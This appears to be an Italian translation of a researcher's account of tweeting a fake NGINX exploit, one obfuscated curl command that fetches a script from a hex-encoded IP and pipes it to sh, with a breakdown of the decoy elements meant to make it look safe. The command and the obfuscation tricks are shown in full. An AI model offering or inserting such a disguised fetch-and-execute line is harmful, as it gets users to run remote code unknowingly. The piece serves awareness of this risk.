Il successo dell'esperimento sociale con un exploit falso per nginx

Nota del traduttore.: Autore della nota originale pubblicata il 1 giugno, ha deciso di condurre un esperimento tra coloro che sono interessati alla sicurezza informatica. A tal fine, ha preparato un falso exploit per una vulnerabilità non divulgata in un server web e lo ha pubblicato su Twitter. Le sue supposizioni - essere immediatamente smascherato da esperti che avrebbero visto l'evidente inganno nel codice - non solo non si sono avverate... Ma hanno superato tutte le aspettative, anzi: il tweet ha ricevuto un enorme supporto da numerose persone che non hanno controllato il suo contenuto.

TL;DR: non usare mai la pipeline di file in sh o bash. È un ottimo modo per perdere il controllo del computer.

Voglio condividere con voi una piccola storia su un divertente PoC exploit, creato il 31 maggio. È emerso rapidamente in risposta alla notizia di Alisa Esage Shevchenko, membro Zero Day Initiative (ZDI), riguardo la prossima divulgazione di informazioni su una vulnerabilità in NGINX che porta a RCE (esecuzione remota del codice). Poiché NGINX è alla base di molti siti web, la notizia avrebbe dovuto avere un effetto esplosivo. Ma a causa dei ritardi nel processo di "divulgazione responsabile" delle informazioni, i dettagli di quanto accaduto non erano noti - questa è la procedura standard di ZDI.

Tweet sulla divulgazione della vulnerabilità in NGINX

Finito di lavorare su una nuova tecnica di offuscamento in curl, ho citato il tweet originale e "ho rilasciato un PoC funzionante" composto da una sola riga di codice, che presumibilmente utilizza la vulnerabilità scoperta. Naturalmente, era una totale sciocchezza. Pensavo di essere subito smascherato, e che nel migliore dei casi avrei ricevuto un paio di retweet (va bene così).

Tweet con l'exploit falso

Tuttavia, non potevo immaginare quello che sarebbe successo dopo. La popolarità del mio tweet è schizzata alle stelle. È sorprendente, ma al momento (15:00 MSK del 1 giugno) pochissime persone hanno capito che si trattava di una bufala. Molti lo ritwittano senza verificarne il contenuto (per non parlare di ammirare la bellissima grafica ASCII che produce).

Guardate che bellezza!

Anche se tutti questi cicli e colori sono fantastici, è chiaro che per vederli le persone dovevano eseguire il codice sulla propria macchina. Fortunatamente, i browser funzionano in modo simile, e dato che non ho bisogno di problemi legali, il codice nascosto nel mio sito effettuava semplicemente chiamate echo, senza tentare di installare o eseguire alcun codice aggiuntivo.

Una piccola digressione: netspooky, dnz, io e altri ragazzi del team Thugcrowd stiamo già giocando da un po' con vari modi di offuscare i comandi curl, perché è divertente... e siamo geek. Netspooky e dnz hanno scoperto alcuni nuovi metodi che mi sono sembrati estremamente promettenti. Ho deciso di unirsi al divertimento e ho provato ad aggiungere conversioni IP decimali a un set di trucchi. Si è scoperto che l'IP può anche essere convertito in formato esadecimale. Inoltre, curl e la maggior parte degli altri strumenti NIX mangiano volentieri gli IP esadecimali! Così, era solo necessario creare una riga di comando convincente e che sembrasse sicura. Alla fine mi sono fermato su questa:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Ingegneria socio-elettronica (S.E.E.) - più di un semplice phishing

La sicurezza e la familiarità sono state parte fondamentale di questo esperimento. Penso che siano stati proprio questi a condurne il successo. La riga di comando implicava chiaramente sicurezza, riferendosi a "127.0.0.1" (il noto localhost). Si ritiene che il localhost sia sicuro e che i dati lì non lascino mai il proprio computer.

La familiarità è stata il secondo componente chiave dell'esperimento S.E.E. Poiché il pubblico target era per lo più composto da persone che conoscevano le basi della sicurezza informatica, era importante creare un codice le cui parti apparissero familiari e, quindi, sicure. Prendere in prestito elementi di vecchie concezioni di exploit e combinarli in modo inusuale si è rivelato piuttosto efficace.

Di seguito è fornita un'analisi dettagliata della riga di codice. Tutto in questo elenco è di natura cosmetica, e per il suo effettivo funzionamento non è richiesta praticamente nulla.

Quali componenti sono realmente necessari? Essi sono -gsS, -O 0x0238f06a, |sh e il server web stesso. Il server web non conteneva istruzioni dannose, ma trasmetteva semplicemente grafica ASCII tramite comandi echo nello script presente in index.html. Quando l'utente digitava una stringa con |sh nel mezzo, index.html veniva scaricato ed eseguito. Fortunatamente, i custodi del server web non avevano cattive intenzioni.

• ../../../%00 — rappresenta un'uscita al di fuori della directory;
• ngx_stream_module.so — percorso verso un modulo casuale NGINX;
• /bin/sh%00<'protocol:TCP' — stiamo presumibilmente avviando /bin/sh sulla macchina target e reindirizzando l'output a un canale TCP;
• -O 0x0238f06a#PLToffset — ingrediente segreto, completato #PLToffset, per sembrare uno spostamento di memoria, in qualche modo contenuto nel PLT;
• |sh; — un altro frammento importante. Dovevamo reindirizzare l'output a sh/bash, per eseguire il codice proveniente dal server web attaccante situato all'indirizzo 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — un falso, in cui netcat si riferisce a /dev/tcp/localhost, per far sembrare tutto di nuovo sicuro. In realtà, non fa nulla ed è incluso per bellezza.

Qui termina la decodifica dello script a riga singola e la discussione degli aspetti della "ingegneria socio-elettronica" (phishing elaborato).

Configurazione del server web e contromisure

Poiché la stragrande maggioranza dei miei follower sono esperti di sicurezza informatica/hacker, ho deciso di rendere il server web un po' più resistente alle manifestazioni di "interesse" da parte loro, giusto per dare ai ragazzi qualcosa da fare (e anche perché era divertente configurarlo). Non intendo qui elencare tutte le trappole, poiché l'esperimento è ancora in corso, ma ecco alcune cose che il server fa:

• Monitora attivamente i tentativi di diffusione su determinate reti sociali e sostituisce varie miniature di anteprima per incoraggiare l'utente a cliccare sul link.
• Reindirizza Chrome/Mozilla/Safari/ecc. a un video promozionale di Thugcrowd invece di mostrare lo script shell.
• Tieni d'occhio i SEGNI EVIDENTI di intrusione/accesso non autorizzato, dopodiché inizia a reindirizzare le richieste ai server NSA (ah!).
• Installa un trojan, così come un rootkit BIOS su tutti i computer i cui utenti visitano l'host con un normale browser (scherzo!).

Una piccola parte di anti-misura

In questo caso, il mio unico obiettivo era esplorare alcune funzionalità di Apache — in particolare, alcune belle regole di reindirizzamento delle richieste, e ho pensato: perché non farlo?

ExploIT NGINX (vero!)

Iscriviti a @alisaesage su Twitter e segui il fantastico lavoro di ZDI per risolvere vulnerabilità e possibilità di exploit reali in NGINX. Il loro lavoro mi ha sempre affascinato e sono grato a Alisa per la pazienza riguardo a tutte le menzioni e notifiche causate dal mio stupido tweet. Fortunatamente, ha portato anche un certo beneficio: ha aiutato ad aumentare la consapevolezza sulle vulnerabilità di NGINX, così come sui problemi causati dall'abuso di curl.

Fonte: habr.com